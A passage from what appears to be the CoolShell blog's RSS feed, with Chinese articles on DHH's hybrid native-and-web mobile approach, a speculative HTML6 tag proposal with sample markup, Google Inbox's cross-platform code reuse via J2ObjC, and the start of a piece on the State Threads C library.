<p>目前我们正在开发第三代产品，发布的平台暂时保密，不过你应该也不难猜到。在前两代产品中，我们增加了原生导航界面的使用，同时进一步确定了以 webview 为核心的整体架构。在第三代产品中，我们将因地制宜地选择需要使用原生开发的功能，好钢要用在刀刃上。</p>
<p>从之前的100% HTML，到现在的90% HTML +10%原生，我们会选择最值得做原生开发的那10%的部分，最终目的是让 app 原生部分和 HTML 部分的体验没有太大区别。</p>
<p>&nbsp;</p>
<h4>混合开发模式使用的技术</h4>
<p>混合开发模式在技术很简单，主要是处理 webview 的集成、Web 页面的加载，以及原生内容和 HTML 内容之间的交叉链接，其实可能比你想像的还要简单得多。</p>
<p>HTML 方面，我们的 Rails Web 应用支持 Web 和移动两大平台，其中 <a href="http://edgeguides.rubyonrails.org/4_1_release_notes.html#action-pack-variants" target="_blank">Rails 4.1 feature of variants</a> 起了很大的作用。</p>
<p>这也很大程度上有助于我们发布新功能。设想一下如果我们每次需要更新这么多平台：Rails desktop app, a Rails API app, a client-side MVC app, a mobile web wrapper app, an Android app, and an iPhone app，像我们这样只有10个程序员和7个设计师的公司根本无力承担如此巨大的工作量。</p>
<p>除了工作量的减轻，bug 修复效率也提高了，因为大部分的代码逻辑是在 Web 服务器端，我们可以随时修改代码并发布，不用通过 Apple App Store 的审批流程。所以我们的移动 app 和 Web 应用一样，也是持续部署。</p>
<p>就如我之前提到的，混合模式开发并不适用于所有情况。在2010年以前，那时手机的处理能力都不强，所以 HTML/JS 的体验并不好，用户也不喜欢。但是时过境迁，现在手机的处理能力大大提高了，HTML/JS 的性能也不再是一个问题。</p>
<p>&nbsp;</p>
<h4>混合开发模式对原生开发模式的挑战</h4>
<p>混合开发模式在降低开发复杂度方面有它的优势，如果你的产品是以显示和处理信息为主，我认为都可以不同程度地采用这个模式。</p>
<p>对于小型团队和公司而言，并不一定需要采用 iOS 原生 app 先行的模式。使用混合模式，不需要你重头开发一个 app，这样可以降低维护成本，将来扩展到其他平台也更为方便。</p>
<p>当然我知道会有很多人质疑这个模式，或许因为他们的 app 中有很多地方需要原生开发（也许仅仅是他们自己这样认为罢了）。又或许他们已经花了很多时间让 app 里的 UITableView 看起来非常漂亮，以致如果其他地方不这样的话显得不是太完美。再或许大公司就是喜欢耗时耗力的原生开发，有钱就是这么任性。</p>
<p>无论怎样，混合开发当下应该能够成为我们移动开发策略的一个选择。如果你认为这是一个好的选择，那么恭喜你，尽情愉快地玩耍吧！</p>
<p>&nbsp;</p>
<p><em>原文链接：<a href="https://signalvnoise.com/posts/3743?utm_campaign=iOS_Dev_Weekly_Issue_175&amp;utm_medium=email&amp;utm_source=iOS%2BDev%2BWeekly" target="_blank">Hybrid sweet spot: Native navigation, web content</a></em></p>
<p>&nbsp;</p>
<p>下面补充一些 David 答读者问：</p>
<p>&nbsp;</p>
<p>Mike Waite @ 2014-05-08：我很好奇你是如何决定哪些功能要用原生开发？<br />
David @ 2014-05-08：主要靠感觉，这毕竟不是一门科学。如果你感觉你app的某一部分如果用原生开发会更好些，可以尝试做快速原型（spike）。很多时候我们通过这种方式证明我们的想法其实是错的。当然如果你需要使用到手机上的功能如：摄像和其他设备时，HTML目前还不太适用，不过永远也不要把话说死。</p>
<p>&nbsp;</p>
<p>Mike Parsons @ 2014-05-08：好文。很好奇你们是否使用 PhoneGap 或者 Cordova 这样的框架，或者你们自己开发了一个？<br />
David @ 2014-05-08：我们没有使用任何框架。（此处省去xxx字）</p>
<p>&nbsp;</p>
<p>Derick @ 2014-05-08：你怎样解决 Android 浏览器渲染速度慢的问题？这也是 Android 平台上更多人倾向开发原生app得原因。<br />
David @ 2014-05-08：不知道你这个结论是近期的还是以前的？Basecamp 的 Android app 在我的 Nexus 5 和 HTC One 上面运行得非常流畅。<br />
Derick @ 2014-05-08：就是最近。我猜测可能和你使用JavaScript的多少有关系。因为以我个人的经验，Android 上 JavaScript 的运行速度非常慢。如果你感兴趣可以看看下面的文章：<a href="https://www.timroes.de/2013/11/23/old-webview-vs-chromium-webview/" target="_blank">https://www.timroes.de/2013/11/23/old-webview-vs-chromium-webview/</a><br />
David @ 2014-05-08：我们使用了很多JavaScript，当然没有 Web MVC 客户端用得那样多。另外我们使用了 Turbolinks ：）</p>
<p>&nbsp;<!--



<p align="center"><a href= target=_blank><img decoding="async" src=""></a></p>





<p align="center"><img decoding="async" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg"> <img decoding="async" loading="lazy" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg" width="300" height="300"> <br />关注CoolShell微信公众账号和微信小程序</p>

 

--></p>
<div style="margin-top: 15px; font-size: 16px;color: #cc0000;">
<p align="center"><strong>（转载本站文章请注明作者和出处 <a href="https://coolshell.cn/">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>
</div>

<div class="wp_rp_wrap  wp_rp_vertical_m" ><div class="wp_rp_content"><h3 class="related_post_title">相关文章</h3><ul class="related_post wp_rp"><li ><a href="https://coolshell.cn/articles/12136.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg" alt="Google Inbox如何跨平台重用代码？" width="150" height="150" /></a><a href="https://coolshell.cn/articles/12136.html" class="wp_rp_title">Google Inbox如何跨平台重用代码？</a></li><li ><a href="https://coolshell.cn/articles/17066.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2015/04/phishing-1-150x150.jpg" alt="关于移动端的钓鱼式攻击" width="150" height="150" /></a><a href="https://coolshell.cn/articles/17066.html" class="wp_rp_title">关于移动端的钓鱼式攻击</a></li><li ><a href="https://coolshell.cn/articles/18360.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg" alt="程序员练级攻略（2018)  与我的专栏" width="150" height="150" /></a><a href="https://coolshell.cn/articles/18360.html" class="wp_rp_title">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href="https://coolshell.cn/articles/18094.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2017/08/enable-https-banner-150x150.png" alt="如何免费的让网站启用HTTPS" width="150" height="150" /></a><a href="https://coolshell.cn/articles/18094.html" class="wp_rp_title">如何免费的让网站启用HTTPS</a></li><li ><a href="https://coolshell.cn/articles/12206.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2014/12/html6-150x150.jpeg" alt="HTML6 展望" width="150" height="150" /></a><a href="https://coolshell.cn/articles/12206.html" class="wp_rp_title">HTML6 展望</a></li><li ><a href="https://coolshell.cn/articles/12012.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2014/10/edsm-150x150.gif" alt="State Threads 回调终结者" width="150" height="150" /></a><a href="https://coolshell.cn/articles/12012.html" class="wp_rp_title">State Threads 回调终结者</a></li></ul></div></div>The post <a href="https://coolshell.cn/articles/12225.html">DHH 谈混合移动应用开发</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></content:encoded>
					
					<wfw:commentRss>https://coolshell.cn/articles/12225.html/feed</wfw:commentRss>
			<slash:comments>27</slash:comments>
		
		
			</item>
		<item>
		<title>HTML6 展望</title>
		<link>https://coolshell.cn/articles/12206.html</link>
					<comments>https://coolshell.cn/articles/12206.html#comments</comments>
		
		<dc:creator><![CDATA[jnj]]></dc:creator>
		<pubDate>Sat, 06 Dec 2014 04:41:34 +0000</pubDate>
				<category><![CDATA[Web开发]]></category>
		<category><![CDATA[技术读物]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[HTML5]]></category>
		<category><![CDATA[HTML6]]></category>
		<category><![CDATA[Web]]></category>
		<guid isPermaLink="false">http://coolshell.cn/?p=12206</guid>

					<description><![CDATA[<p>HTML5 概述 HTML5 是 HTML 语言最受欢迎的版本之一，它支持音频和视频、离线存储、移动端、和标签属性等等。还提供了&#60;article&#62;,...</p>
<p class="read-more"><a class="btn btn-default" href="https://coolshell.cn/articles/12206.html"> Read More<span class="screen-reader-text">  Read More</span></a></p>
The post <a href="https://coolshell.cn/articles/12206.html">HTML6 展望</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></description>
										<content:encoded><![CDATA[<p><script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158"
     crossorigin="anonymous"></script></p>
<h3><img decoding="async" loading="lazy" class="size-full wp-image-12211 alignright" src="https://coolshell.cn/wp-content/uploads/2014/12/html6.jpeg" alt="html6" width="225" height="225" srcset="https://coolshell.cn/wp-content/uploads/2014/12/html6.jpeg 225w, https://coolshell.cn/wp-content/uploads/2014/12/html6-150x150.jpeg 150w, https://coolshell.cn/wp-content/uploads/2014/12/html6-200x200.jpeg 200w" sizes="(max-width: 225px) 100vw, 225px" /></h3>
<h3>HTML5 概述</h3>
<p>HTML5 是 HTML 语言最受欢迎的版本之一，它支持音频和视频、离线存储、移动端、和标签属性等等。还提供了&lt;article&gt;, &lt;section&gt;, &lt;header&gt;这样的标签来帮助开发者更好地组织页面内容。然而 HTML5 规范仍然没有最后定稿，并且它并不是一个真正意义上的语义标记语言。</p>
<h3>HTML6 展望</h3>
<p>你有没有曾经希望能在 HTML 中使用自定义标签？比如：使用&lt;logo&gt;来显示你的网站logo，还有使用&lt;toolbar&gt;来显示工具栏等等。我们经常使用&lt;div id=&#8221;container&#8221;&gt;和&lt;div id=&#8221;wrapper&#8221;&gt;来组织页面，在 HTML6 里我们希望可以直接使用象&lt;container&gt;和&lt;wrapper&gt;这样的自定义标签。</p>
<p>和 XML 一样，HTML6 应该支持 namespace（命名空间），如：xmlns:xhtml=&#8221;http://www.w3.org/1999/xhtml&#8221;</p>
<p>HTML6 代码样例：</p>
<p><span id="more-12206"></span></p>
<pre>&lt;!DOCTYPE html&gt;
 &lt;html:html&gt;
 &lt;html:head&gt;
 &lt;html:title&gt;A Look Into HTML6&lt;/html:title&gt;
 &lt;html:meta type="title" value="Page Title"&gt;
 &lt;html:meta type="description" value="HTML example with namespaces"&gt;
 &lt;html:link src="css/mainfile.css" title="Styles" type="text/css"&gt;
 &lt;html:link src="js/mainfile.js" title="Script" type="text/javascript"&gt;
 &lt;/html:head&gt;
 &lt;html:body&gt;
 &lt;header&gt;
 &lt;logo&gt;
 &lt;html:media type="image" src="images/xyz.png"&gt;
 &lt;/logo&gt;
 &lt;nav&gt;
 &lt;html:a href="/img1"&gt;a1&lt;/a&gt;
 &lt;html:a href="/img2"&gt;a2&lt;/a&gt;
 &lt;/nav&gt;
 &lt;/header&gt;
 &lt;content&gt;
 &lt;article&gt;
 &lt;h1&gt;Heading of main article&lt;/h1&gt;
 &lt;h2&gt;Sub-heading of main article&lt;/h2&gt;
 &lt;p&gt;[...]&lt;/p&gt;
 &lt;p&gt;[...]&lt;/p&gt;
 &lt;/article&gt;
 &lt;article&gt;
 &lt;h1&gt;The concept of HTML6&lt;/h1&gt;
 &lt;h2&gt;Understanding the basics&lt;/h2&gt;
 &lt;p&gt;[...]&lt;/p&gt;
 &lt;/article&gt;
 &lt;/content&gt;
 &lt;footer&gt;
 &lt;copyright&gt;This site is © to Anonymous 2014&lt;/copyright&gt;
 &lt;/footer&gt;
 &lt;/html:body&gt;
 &lt;/html:html&gt;</pre>
<p>在上面的代码中，你也许注意到了一些奇怪的&lt;html:x&gt;标签，它们是 W3C 和 HTML6 规范中在命名空间里定义的标签。例如：&lt;html:title&gt;负责设定你浏览器的标题栏文字，&lt;html:media&gt;负责显示图片等等。用户可以自己定义标签以便 JavaScript 和 CSS 识别和处理，这样页面代码会更易读，语义更清晰。</p>
<h3>HTML6 APIs</h3>
<p>HTML6 的标签前带有命名空间，如：&lt;html:html&gt;, &lt;html:head&gt;等等。</p>
<p>1. &lt;html:html&gt;</p>
<pre>&lt;!DOCTYPE html&gt;
 &lt;html:html&gt;// this is equivalent to &lt;html&gt; tag written in previous HTML versions
 &lt;!-- sample of HTML document --&gt;
 &lt;/html:html&gt;</pre>
<p>2. &lt;html:head&gt; 和 &lt;head&gt; 标签一样。</p>
<pre>&lt;!DOCTYPE html&gt;
 &lt;html:html&gt;
 &lt;html:head&gt;
 &lt;!-- Main content would come here, like the &lt;html:title&gt; tag --&gt;
 &lt;/html:head&gt;
 &lt;/html:html&gt;</pre>
<p>3. &lt;html:title&gt; 和 &lt;title&gt; 标签类似。</p>
<pre>&lt;!DOCTYPE html&gt;
 &lt;html:html&gt;
 &lt;html:head&gt;
 &lt;html:title&gt;A Look Into HTML6&lt;/html:title&gt;
 &lt;/html:head&gt;
 &lt;/html:html&gt;</pre>
<p>4. &lt;html:meta&gt; 和 &lt;meta&gt; 标签类似，不同之处在于，在 HTML5 中你只能使用标准的元数据类型，如：&#8221;keywords&#8221;, &#8220;description&#8221;, &#8220;author&#8221;等，而在 HTML6 中你可以使用任何元数据类型。</p>
<pre>&lt;!DOCTYPE html&gt;
 &lt;html:html&gt;
 &lt;html:head&gt;
 &lt;html:title&gt;A Look Into HTML6&lt;/html:title&gt;
 &lt;html:meta type="description" value="HTML example with namespaces"&gt;
 &lt;/html:head&gt;
 &lt;/html:html&gt;</pre>
<p>5. &lt;html:link&gt; 和 HTML6 之前版本的 &lt;link&gt; 标签类似。</p>
<pre>&lt;!DOCTYPE html&gt;
 &lt;html:html&gt;
 &lt;html:head&gt;
 &lt;html:title&gt;A Look Into HTML6&lt;/html:title&gt;
 &lt;html:link src="js/mainfile.js" title="Script" type="text/javascript"&gt;
 &lt;/html:head&gt;
 &lt;/html:html&gt;</pre>
<p>6. &lt;html:body&gt; 和 &lt;body&gt; 标签一样。</p>
<pre>&lt;!DOCTYPE html&gt;
 &lt;html:html&gt;
 &lt;html:head&gt;
 &lt;html:title&gt;A Look Into HTML6&lt;/html:title&gt;
 &lt;/html:head&gt;
 &lt;html:body&gt;
 &lt;!-- This is where your website content is placed --&gt;
 &lt;/html:body&gt;
 &lt;/html:html&gt;</pre>
<p>7. &lt;html:a&gt; 和 &lt;a&gt; 标签类似，区别是 &lt;html:a&gt; 只有 &#8220;href&#8221; 一个属性。</p>
<pre>&lt;!DOCTYPE html&gt;
 &lt;html:html&gt;
 &lt;html:head&gt;
 &lt;html:title&gt;A Look Into HTML6&lt;/html:title&gt;
 &lt;/html:head&gt;
 &lt;html:body&gt;
 &lt;html:a href="http://siteurl"&gt;Go to siteurl.com!&lt;/html:a&gt;
 &lt;/html:body&gt;
 &lt;/html:html&gt;</pre>
<p>8. &lt;html：button&gt; 和 &lt;button&gt; 及 &lt;input type=&#8221;button&#8221;&gt; 一样。</p>
<pre>&lt;!DOCTYPE html&gt;
 &lt;html:html&gt;
 &lt;html:head&gt;
 &lt;html:title&gt;A Look Into HTML6&lt;/html:title&gt;
 &lt;/html:head&gt;
 &lt;html:body&gt;
 &lt;html:button&gt;Click Here&lt;/html:button&gt;
 &lt;/html:body&gt;
 &lt;/html:html&gt;</pre>
<p>9. &lt;html:media&gt; 涵盖 &lt;img&gt;, &lt;video&gt;, &lt;embed&gt; 等标签的所有功能。&lt;html:media&gt; 的好处是你不用根据不同的媒体文件类型使用不同的标签，媒体的类型由浏览器从文件内容（类型属性，扩展名，和MIME type）中来判断。</p>
<pre>&lt;!DOCTYPE html&gt;
 &lt;html:html&gt;
 &lt;html:head&gt;
 &lt;html:title&gt;A Look Into HTML6&lt;/html:title&gt;
 &lt;/html:head&gt;
 &lt;html:body&gt;
 &lt;!-- Image would come here --&gt;
 &lt;html:media src="img1/logo.jpg" type="image"&gt;
 &lt;!-- Video doesn't need a type --&gt;
 &lt;html:media src="videos/slide.mov"&gt;
 &lt;/html:body&gt;
 &lt;/html:html&gt;</pre>
<h3>标签类型(Tag types)概述</h3>
<p>和 HTML5 一样， HTML6 也有两种标签类型：单标签（single tag) 和双标签（double tag）</p>
<pre>&lt;html:meta type="author" content="single tag"&gt;
 &lt;html:meta type="author" content="double tag" /&gt;</pre>
<p>单标签不需要结束符&#8217;/&#8217;</p>
<h3>结语</h3>
<p>HTML6 规范还未发布，本文原作者 <a href="http://html6spec.com/">Oscar Godson</a> 只是为我们提供了一个对 HTML6 规范的展望，或者说他希望 HTML6 能够支持的一些新特性。</p>
<p>原文链接：<a href="http://java.dzone.com/articles/look-html6-what-it-and-what">A Look Into HTML6 &#8211; What Is It, and What Does it Have to Offer?</a><!--



<p align="center"><a href= target=_blank><img decoding="async" src=""></a></p>





<p align="center"><img decoding="async" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg"> <img decoding="async" loading="lazy" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg" width="300" height="300"> <br />关注CoolShell微信公众账号和微信小程序</p>

 

--></p>
<div style="margin-top: 15px; font-size: 16px;color: #cc0000;">
<p align="center"><strong>（转载本站文章请注明作者和出处 <a href="https://coolshell.cn/">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>
</div>

<div class="wp_rp_wrap  wp_rp_vertical_m" ><div class="wp_rp_content"><h3 class="related_post_title">相关文章</h3><ul class="related_post wp_rp"><li ><a href="https://coolshell.cn/articles/9666.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2013/05/Render-Process-150x150.jpg" alt="浏览器的渲染原理简介" width="150" height="150" /></a><a href="https://coolshell.cn/articles/9666.html" class="wp_rp_title">浏览器的渲染原理简介</a></li><li ><a href="https://coolshell.cn/articles/6840.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2012/03/css-layouts-150x150.gif" alt="CSS 布局:40个教程、技巧、例子和最佳实践" width="150" height="150" /></a><a href="https://coolshell.cn/articles/6840.html" class="wp_rp_title">CSS 布局:40个教程、技巧、例子和最佳实践</a></li><li ><a href="https://coolshell.cn/articles/5537.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2011/11/stackparts.com_-150x150.png" alt="一些文章资源和趣闻" width="150" height="150" /></a><a href="https://coolshell.cn/articles/5537.html" class="wp_rp_title">一些文章资源和趣闻</a></li><li ><a href="https://coolshell.cn/articles/5224.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2011/09/image008-150x150.jpg" alt="一些文章和各种资源" width="150" height="150" /></a><a href="https://coolshell.cn/articles/5224.html" class="wp_rp_title">一些文章和各种资源</a></li><li ><a href="https://coolshell.cn/articles/4795.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg" alt="开源中最好的Web开发的资源" width="150" height="150" /></a><a href="https://coolshell.cn/articles/4795.html" class="wp_rp_title">开源中最好的Web开发的资源</a></li><li ><a href="https://coolshell.cn/articles/3903.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg" alt="一些有意思的贴子和工具" width="150" height="150" /></a><a href="https://coolshell.cn/articles/3903.html" class="wp_rp_title">一些有意思的贴子和工具</a></li></ul></div></div>The post <a href="https://coolshell.cn/articles/12206.html">HTML6 展望</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></content:encoded>
					
					<wfw:commentRss>https://coolshell.cn/articles/12206.html/feed</wfw:commentRss>
			<slash:comments>39</slash:comments>
		
		
			</item>
		<item>
		<title>Google Inbox如何跨平台重用代码？</title>
		<link>https://coolshell.cn/articles/12136.html</link>
					<comments>https://coolshell.cn/articles/12136.html#comments</comments>
		
		<dc:creator><![CDATA[jnj]]></dc:creator>
		<pubDate>Wed, 26 Nov 2014 00:03:17 +0000</pubDate>
				<category><![CDATA[技术读物]]></category>
		<category><![CDATA[编程工具]]></category>
		<category><![CDATA[Android]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[iOS]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[移动应用]]></category>
		<guid isPermaLink="false">http://coolshell.cn/?p=12136</guid>

					<description><![CDATA[<p>原文链接《How Google Inbox shares 70% of its code across Android, iOS, and the Web》 开...</p>
<p class="read-more"><a class="btn btn-default" href="https://coolshell.cn/articles/12136.html"> Read More<span class="screen-reader-text">  Read More</span></a></p>
The post <a href="https://coolshell.cn/articles/12136.html">Google Inbox如何跨平台重用代码？</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></description>
										<content:encoded><![CDATA[<p><script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158"
     crossorigin="anonymous"></script>原文链接《<a href="http://arstechnica.com/information-technology/2014/11/how-google-inbox-shares-70-of-its-code-across-android-ios-and-the-web" target="_blank">How Google Inbox shares 70% of its code across Android, iOS, and the Web</a>》</p>
<p><a href="https://coolshell.cn/wp-content/uploads/2014/11/inbox2-640x264.jpg"><img decoding="async" loading="lazy" class="size-medium wp-image-12137 alignright" src="https://coolshell.cn/wp-content/uploads/2014/11/inbox2-640x264-300x123.jpg" alt="inbox2-640x264" width="300" height="123" /></a></p>
<p>开发一个移动应用在当下并不是一件容易的事情。如果想要获得最多的用户，你的应用通常需要覆盖 iOS, Android, 和 Web 三大平台。这就意味着同一个应用需要开发三个版本，使用 Objective-C 或者 Swift 开发 iOS 版本，使用 Java 开发 Android 版本，使用 JavaScript/CSS/HTML5 开发 Web 版本。工作量增大的同时也意味着有更多的 bug 需要修复。</p>
<p>这个问题也是 Google 在开发 Google Inbox 时致力要解决的。在最近发布的这款应用中，Google 使用了一些工具实现了70%的代码跨平台复用。</p>
<p>Google Inbox 覆盖 iOS, Android, Web 三个平台，它们使用的是同一个后台代码逻辑，只是前端的用户体验和平台相关特性的实现有所不同。Google 自主开发了一套辅助工具将 Android 版本的 Java 代码逻辑编译为 Objective-C (针对 iOS 平台) 和 JavaScript (针对 Web 浏览器)。 Java 到 JavaScript 的编译由 Google Web Toolkit SDK 完成，Java 到 Objective-C 的编译则由 J2ObjC （<a href="j2objc.org">j2objc.org</a>）来完成。</p>
<p>J2ObjC 是一个开源项目，由 Google 在2013年发布。Google Sheets (Google Docs 中的电子表格部分) 也使用了 J2ObjC，而 Google Inbox 则是目前使用 J2Objc 最多的 Google 项目。</p>
<p>Google Inbox 复用的代码逻辑包括：对话 (conversations)，提醒 (reminders)，联系人 (contacts)。还有网络相关功能和离线同步。这些代码逻辑的复用节省了大量的时间和成本。</p>
<p>在产品设计时，Google 将这些可复用功能划分为抽象的逻辑概念，比如：提醒的逻辑放在 &#8220;reminder.java&#8221; 中，可以被 Android UI 调用。对 iOS 版本而言，J2ObjC 将 &#8220;reminder.java&#8221; 编译成 Objective-C 代码，再由 iOS UI 调用。</p>
<p>Google 没有跨平台编译 UI 部分的代码，因为不同平台的UI特性各有不同，盲目统一会导致非常糟糕的用户体验。代码复用只是针对可以共享的后台逻辑，前端的UI实现是完全原生 (native) 的。这与 Xamarin (一个基于 Microsoft C# 的跨平台移动开发工具) 提出的概念类似。</p>
<p>跨平台代码复用通常会带来一些性能上的问题。Garrick Toubassi，Engineering Director 和 Google Inbox 项目组成员，对此表示： “性能上的影响如果有的话，也可以说是微不足道的。我们做过大量的性能测试。因为没有加入额外的中间层来处理跨平台兼容性，所有代码最后都是平台原生代码。J2ObjC 编译生成的目标代码和 Java 源代码拥有大致相同的对象数量和对象图谱复杂度 (object graph complexity) ”。</p>
<p>Google 使用的整套方法解决了跨平台移动开发中的一个很重要的问题，同时也推进了安卓先行 (Android-first) 的移动开发策略。</p>
<p>更多 Google Inbox 文章请猛戳 <a href="http://gmailblog.blogspot.com.au/2014/11/going-under-hood-of-inbox.html">Gmail 官方博客</a>。<!--



<p align="center"><a href= target=_blank><img decoding="async" src=""></a></p>





<p align="center"><img decoding="async" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg"> <img decoding="async" loading="lazy" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg" width="300" height="300"> <br />关注CoolShell微信公众账号和微信小程序</p>

 

--></p>
<div style="margin-top: 15px; font-size: 16px;color: #cc0000;">
<p align="center"><strong>（转载本站文章请注明作者和出处 <a href="https://coolshell.cn/">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>
</div>

<div class="wp_rp_wrap  wp_rp_vertical_m" ><div class="wp_rp_content"><h3 class="related_post_title">相关文章</h3><ul class="related_post wp_rp"><li ><a href="https://coolshell.cn/articles/12225.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2014/12/1053-DHH-150x150.jpg" alt="DHH 谈混合移动应用开发" width="150" height="150" /></a><a href="https://coolshell.cn/articles/12225.html" class="wp_rp_title">DHH 谈混合移动应用开发</a></li><li ><a href="https://coolshell.cn/articles/17066.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2015/04/phishing-1-150x150.jpg" alt="关于移动端的钓鱼式攻击" width="150" height="150" /></a><a href="https://coolshell.cn/articles/17066.html" class="wp_rp_title">关于移动端的钓鱼式攻击</a></li><li ><a href="https://coolshell.cn/articles/5815.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg" alt="来信， 创业 和 移动互联网" width="150" height="150" /></a><a href="https://coolshell.cn/articles/5815.html" class="wp_rp_title">来信， 创业 和 移动互联网</a></li><li ><a href="https://coolshell.cn/articles/5224.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2011/09/image008-150x150.jpg" alt="一些文章和各种资源" width="150" height="150" /></a><a href="https://coolshell.cn/articles/5224.html" class="wp_rp_title">一些文章和各种资源</a></li><li ><a href="https://coolshell.cn/articles/3549.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/28.jpg" alt="Android将允许纯C/C++开发应用" width="150" height="150" /></a><a href="https://coolshell.cn/articles/3549.html" class="wp_rp_title">Android将允许纯C/C++开发应用</a></li><li ><a href="https://coolshell.cn/articles/2608.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2010/07/androidappinventor-150x150.jpg" alt="Google App Inventor " width="150" height="150" /></a><a href="https://coolshell.cn/articles/2608.html" class="wp_rp_title">Google App Inventor </a></li></ul></div></div>The post <a href="https://coolshell.cn/articles/12136.html">Google Inbox如何跨平台重用代码？</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></content:encoded>
					
					<wfw:commentRss>https://coolshell.cn/articles/12136.html/feed</wfw:commentRss>
			<slash:comments>31</slash:comments>
		
		
			</item>
		<item>
		<title>State Threads 回调终结者</title>
		<link>https://coolshell.cn/articles/12012.html</link>
					<comments>https://coolshell.cn/articles/12012.html#comments</comments>
		
		<dc:creator><![CDATA[Leo]]></dc:creator>
		<pubDate>Sun, 12 Oct 2014 14:48:57 +0000</pubDate>
				<category><![CDATA[C/C++语言]]></category>
		<category><![CDATA[Unix/Linux]]></category>
		<category><![CDATA[Web开发]]></category>
		<category><![CDATA[程序设计]]></category>
		<category><![CDATA[C++]]></category>
		<category><![CDATA[coroutine]]></category>
		<category><![CDATA[EDSM]]></category>
		<category><![CDATA[IA]]></category>
		<category><![CDATA[process]]></category>
		<category><![CDATA[thread]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[协程]]></category>
		<guid isPermaLink="false">http://coolshell.cn/?p=12012</guid>

					<description><![CDATA[<p>（感谢网友 @我的上铺叫路遥 投稿） 上回写了篇《一个“蝇量级”C语言协程库》，推荐了一下Protothreads，通过coroutine模拟了用户级别的mul...</p>
<p class="read-more"><a class="btn btn-default" href="https://coolshell.cn/articles/12012.html"> Read More<span class="screen-reader-text">  Read More</span></a></p>
The post <a href="https://coolshell.cn/articles/12012.html">State Threads 回调终结者</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></description>
										<content:encoded><![CDATA[<p><script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158"
     crossorigin="anonymous"></script><strong>（感谢网友 </strong><a href="http://weibo.com/fullofbull" target="_blank"><strong>@我的上铺叫路遥</strong></a><strong> 投稿）</strong></p>
<p>上回写了篇<a title="一个“蝇量级” C 语言协程库" href="https://coolshell.cn/articles/10975.html" target="_blank">《一个“蝇量级”C语言协程库》</a>，推荐了一下<a title="Protothreads" href="http://dunkels.com/adam/pt/" target="_blank">Protothreads</a>，通过coroutine模拟了用户级别的multi-threading模型，虽然本身足够“轻”，杜绝了系统开销，但这个库本身应用场合主要是内存限制的嵌入式领域，提供原生态组件太少，使用限制太多，比如依赖其它调用产生阻塞等。</p>
<p>这回又替大家在开源界淘了个宝，推荐一个轻量级网络应用框架<strong>State Threads</strong>（以下简称ST），总共也就3000行C代码，跟Protothreads不同在于ST针对的就是<strong>高性能可扩展服务器</strong>领域（值得一提的是Protothreads官网<a title="参考链接" href="http://dunkels.com/adam/pt/links.html" target="_blank">参考链接</a>上第一条就是ST的官网）。在其<a title="FAQ" href="http://state-threads.sourceforge.net/docs/faq.html" target="_blank">FAQ</a>页面上一句引用&#8221;Perfection is achieved not when there is nothing more to add, but rather when there is nothing more to take away.&#8221;可以视为开发人员对ST源码质量的自信。</p>
<h4>历史渊源</h4>
